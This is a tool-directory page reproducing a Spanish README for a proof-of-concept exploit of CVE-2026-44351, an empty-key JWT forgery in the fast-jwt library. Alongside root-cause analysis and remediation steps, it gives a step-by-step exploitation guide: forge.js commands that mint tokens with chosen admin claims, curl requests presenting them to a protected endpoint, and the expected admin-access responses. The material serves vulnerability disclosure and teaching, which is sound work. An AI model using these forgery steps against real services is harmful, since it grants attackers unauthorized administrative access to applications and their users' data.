Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-44351-poc — Proof-of-concept for CVE-2026-44351, an authentication bypass in fast-jwt <6.2.4 where an empty HMAC key lets attackers forge arbitrary JWTs accepted as valid. | Kitploit
Tools/GitHubGitHub/isaca0315/cve-2026-44351-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityCryptographyAuthenticationLearning & EducationRed TeamingAPI Security
GitHubisaca0315/cve-2026-44351-poc

CVE-2026-44351-poc

Proof-of-concept for CVE-2026-44351, an authentication bypass in fast-jwt <6.2.4 where an empty HMAC key lets attackers forge arbitrary JWTs accepted as valid.

1 day agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-44351 — Falsificación de JWT por Secret Vacío en fast-jwt

PoC del bypass de autenticación (auth bypass) en fast-jwt (versiones anteriores a 6.2.4) que permite a cualquier atacante no autenticado falsificar JWTs arbitrarios y que sean aceptados como auténticos por la aplicación objetivo.

CVECVE-2026-44351
AdvisoryGHSA-gmvf-9v4p-v8jc
CWECWE-1391 (Validación incorrecta de claves) / CWE-287 (Autenticación incorrecta) / CWE-326 (Fuerza de cifrado inadecuada)
CVSS 3.19.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Vulnerablefast-jwt < 6.2.4 (verificado contra 6.2.3)
Parche[email protected] — rechaza claves HMAC vacías con FAST_JWT_INVALID_KEY

📄 Documentación técnica detallada (root cause con código real, anatomía del ataque, análisis del parche): docs/CVE-2026-44351.md

Resumen

fast-jwt permite pasar una función asíncrona como resolución de clave (key) — el patrón típico cuando se integra con un servidor JWKS:

root@kitploit:~
const verify = createVerifier({
  // patron JWKS estandar documentado por la propia libreria
  key: async (decoded) => jwks[decoded.header.kid] || '',
})

Cuando el kid del token entrante no existe, ese patrón devuelve ''. fast-jwt convierte el string vacío en un Buffer de longitud cero (Buffer.alloc(0)), lo entrega a crypto.createSecretKey (Node lo acepta silenciosamente) y verifica la firma del token usando HMAC con clave vacía.

Como HMAC-SHA256(key='', input='<header>.<payload>') es computable por cualquiera, el atacante no necesita conocer el secreto real: forja un token con los claims que quiera (sub, admin, roles, scopes, iss, aud, …) y el verificador lo devuelve como auténtico.

Solo afecta a la ruta de resolución de clave asíncrona (función). La configuración síncrona key: '' es rechazada correctamente porque createVerifier cortocircuita sobre valores falsy.

Detalle técnico del fallo

El fallo vive en src/verifier.js. En el flujo del async key resolver:

root@kitploit:~
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  // ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')  // ''  ->  Buffer.alloc(0)
  }

  const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
  // rama !publicKeyPemMatch && !X509  ->  hsAlgorithms = ['HS256','HS384','HS512']

  if (validationContext.allowedAlgorithms.length) {
    checkAreCompatibleAlgorithms(...)
  } else {
    validationContext.allowedAlgorithms = availableAlgorithms // se asigna la familia HMAC
  }

  currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
  // -> createSecretKey(Buffer.alloc(0))  (sin control de longitud)
  verifyToken(currentKey, decoded, validationContext)
})

Y la firma se valida con src/crypto.js:

root@kitploit:~
if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

crypto.createHmac('sha256', Buffer.alloc(0)) funciona, el HMAC del input es computable por el atacante y el token forjado es aceptado.

Matriz de ataque (verificada con [email protected])

Resolver shapealgorithmsHS256HS384HS512
async () => ''(default)✅ acepta✅ acepta✅ acepta
(d, cb) => cb(null, '')(default)✅ acepta✅ acepta✅ acepta
async d => keys[d.header.kid] || ''(default)✅ acepta✅ acepta✅ acepta
async () => ''['HS256','HS384','HS512']✅ acepta✅ acepta✅ acepta
async () => ''['HS256','RS256']✅ aceptaINVALID_ALGINVALID_ALG
async () => ''['RS256']INVALID_KEYINVALID_KEYINVALID_KEY

⚔️ Paso a paso de Red Team (explotación 100% manual)

El ataque se ejecuta a mano: el único artefacto es forge.js, que fabrica el JWT firmado con clave vacía. El envío y la validación se hacen con curl.

Paso 0 — Levantar la infraestructura objetivo (Docker)

root@kitploit:~
docker compose up -d --build server
curl -s http://localhost:3000/health        # {'status':'ok'} -> target listo

El Docker solo sirve para correr el target vulnerable, no para explotar. El resto del ataque es manual.

Paso 1 — Reconocimiento

Identifica un JWT real de la app (por ejemplo desde una petición autenticada) e inspecciona su header/payload sin validar la firma:

root@kitploit:~
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...

# header  : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }

Puntos a validar:

  • El header expone un kid → la app resuelve claves por kid (posible JWKS).
  • Si el endpoint protegido rechaza un kid roto con 401 pero no presenta invalid algo/invalid key, el resolver probablemente haga keys[kid] || ''.

Paso 2 — Forjar el JWT (secret vacío)

root@kitploit:~
node forge.js                          # token por pantalla + comando curl listo
node forge.js -o /tmp/jwt.txt          # guarda el token en archivo
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin

El script siempre firma la cabecera {alg, typ, kid} y el payload elegidos usando HMAC-SHA* con clave vacía (secret: ""), sin conocer el secreto real de la app.

Paso 3 — Envío manual del token

Con el token copiado (o leído del archivo):

root@kitploit:~
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"

Respuesta esperada si el objetivo es vulnerable:

root@kitploit:~
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}

Paso 4 — Validar / contrastar

CasoComandoResultado
Sin tokencurl -si http://localhost:3000/admin401 Unauthorized
Token inválidocurl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C"401 Unauthorized
Token forjadocurl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"200 OK + acceso admin

El bypass es reproducible cambiando claims y repitiendo el paso 2–3 (post-explotación: escalar a role, scopes, otro sub, etc.).


Demos de validación (opcional)

Comparación rápida entre la versión vulnerable y la parcheada:

root@kitploit:~
npm run demo        # [email protected] -> token forjado ACEPTADO
npm run fixed       # [email protected] -> token forjado RECHAZADO (FAST_JWT_INVALID_KEY)

También en Docker:

root@kitploit:~
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed

Remediación

  • Actualizar a [email protected] o superior: prepareKeyOrSecret rechaza claves HMAC de longitud cero con FAST_JWT_INVALID_KEY.
  • En el resolver asíncrono, no devolver ''/Buffer.alloc(0) como fallback: devolver undefined/null y tratar ese caso como error de resolución de clave.
  • En despliegues ya comprometidos, reiniciar los procesos o usar cache: false durante la transición: el caché de verificación (por defecto 1000 entradas / 600s TTL) puede conservar tokens forjados previamente aceptados.
  • Defensa en profundidad: aplicar la recomendación de RFC 2104 (clave HMAC con longitud ≥ tamaño de salida del hash).

Frontend (modo app real)

El servidor expone también una consola de administración (public/) para que la explotación se vea sobre una app real: login corporativo, dashboard con claims, panel de acceso admin y una vista Red Team integrada.

root@kitploit:~
node server.js            # o de nuevo: docker compose up -d --build server
open http://localhost:3000

Cuentas de demo:

EmailPasswordRol
[email protected]admin123admin: true (superadmin)
[email protected]user123admin: false (member)

La app replica un SaaS legítimo:

  • POST /login emite un JWT firmado con el secreto real (kid: legit-kid) vía createSigner — el signer NO es vulnerable.
  • El frontend guarda el token en localStorage y golpea GET /admin, que usa el verifier vulnerable.
  • Vista Red Team: botón "Fabricar token forjado" que firma localmente (HMAC-SHA256 con clave '' en JS puro, RFC 2104 — WebCrypto no acepta claves de longitud cero) o pegar un token de node forge.js y probar /admin. Con admin: true responde 200 OK → bypass confirmado sin salir del navegador.

El frontend es solo presentación: la vulnerabilidad sigue siendo la misma (async key resolver con keys[kid] || '') y el flujo de ataque manual con forge.js + curl del README continúa funcionando.

Estructura del proyecto

root@kitploit:~
.
├── Dockerfile            Imagen con fast-jwt 6.2.3 y 6.2.4 (fixed/)
├── docker-compose.yml    Servicios server / demo / fixed-demo (sin exploit)
├── .dockerignore         Excluye node_modules del build context
├── package.json          Dependencias: [email protected] (vulnerable)
├── server.js             API vulnerable (async key resolver con fallback || '') + /admin + /login + estáticos
├── forge.js              UNICO script: fabrica el JWT con secret vacío / inspecciona tokens
├── demo.js               Demo a nivel de librería contra [email protected] (vulnerable)
├── public/               Frontend "app real" (login, dashboard, admin, red team)
│   ├── index.html
│   ├── styles.css
│   └── app.js            SPA + forja client-side (HMAC-SHA256 con key '' en JS puro)
├── docs/
│   └── CVE-2026-44351.md Documentación técnica: en qué consiste, root cause, parche
└── fixed/
    ├── package.json      Dependencias: [email protected] (parcheada)
    └── demo.js           Misma demo contra [email protected] (parcheado)

Advertencia

Este material es solo para fines educativos y de investigación de seguridad. Usa el exploit únicamente contra aplicaciones propias o con autorización escrita del propietario. El uso no autorizado de esta técnica contra sistemas de terceros es ilegal y el responsable de su uso es quien lo realiza.

Download Tool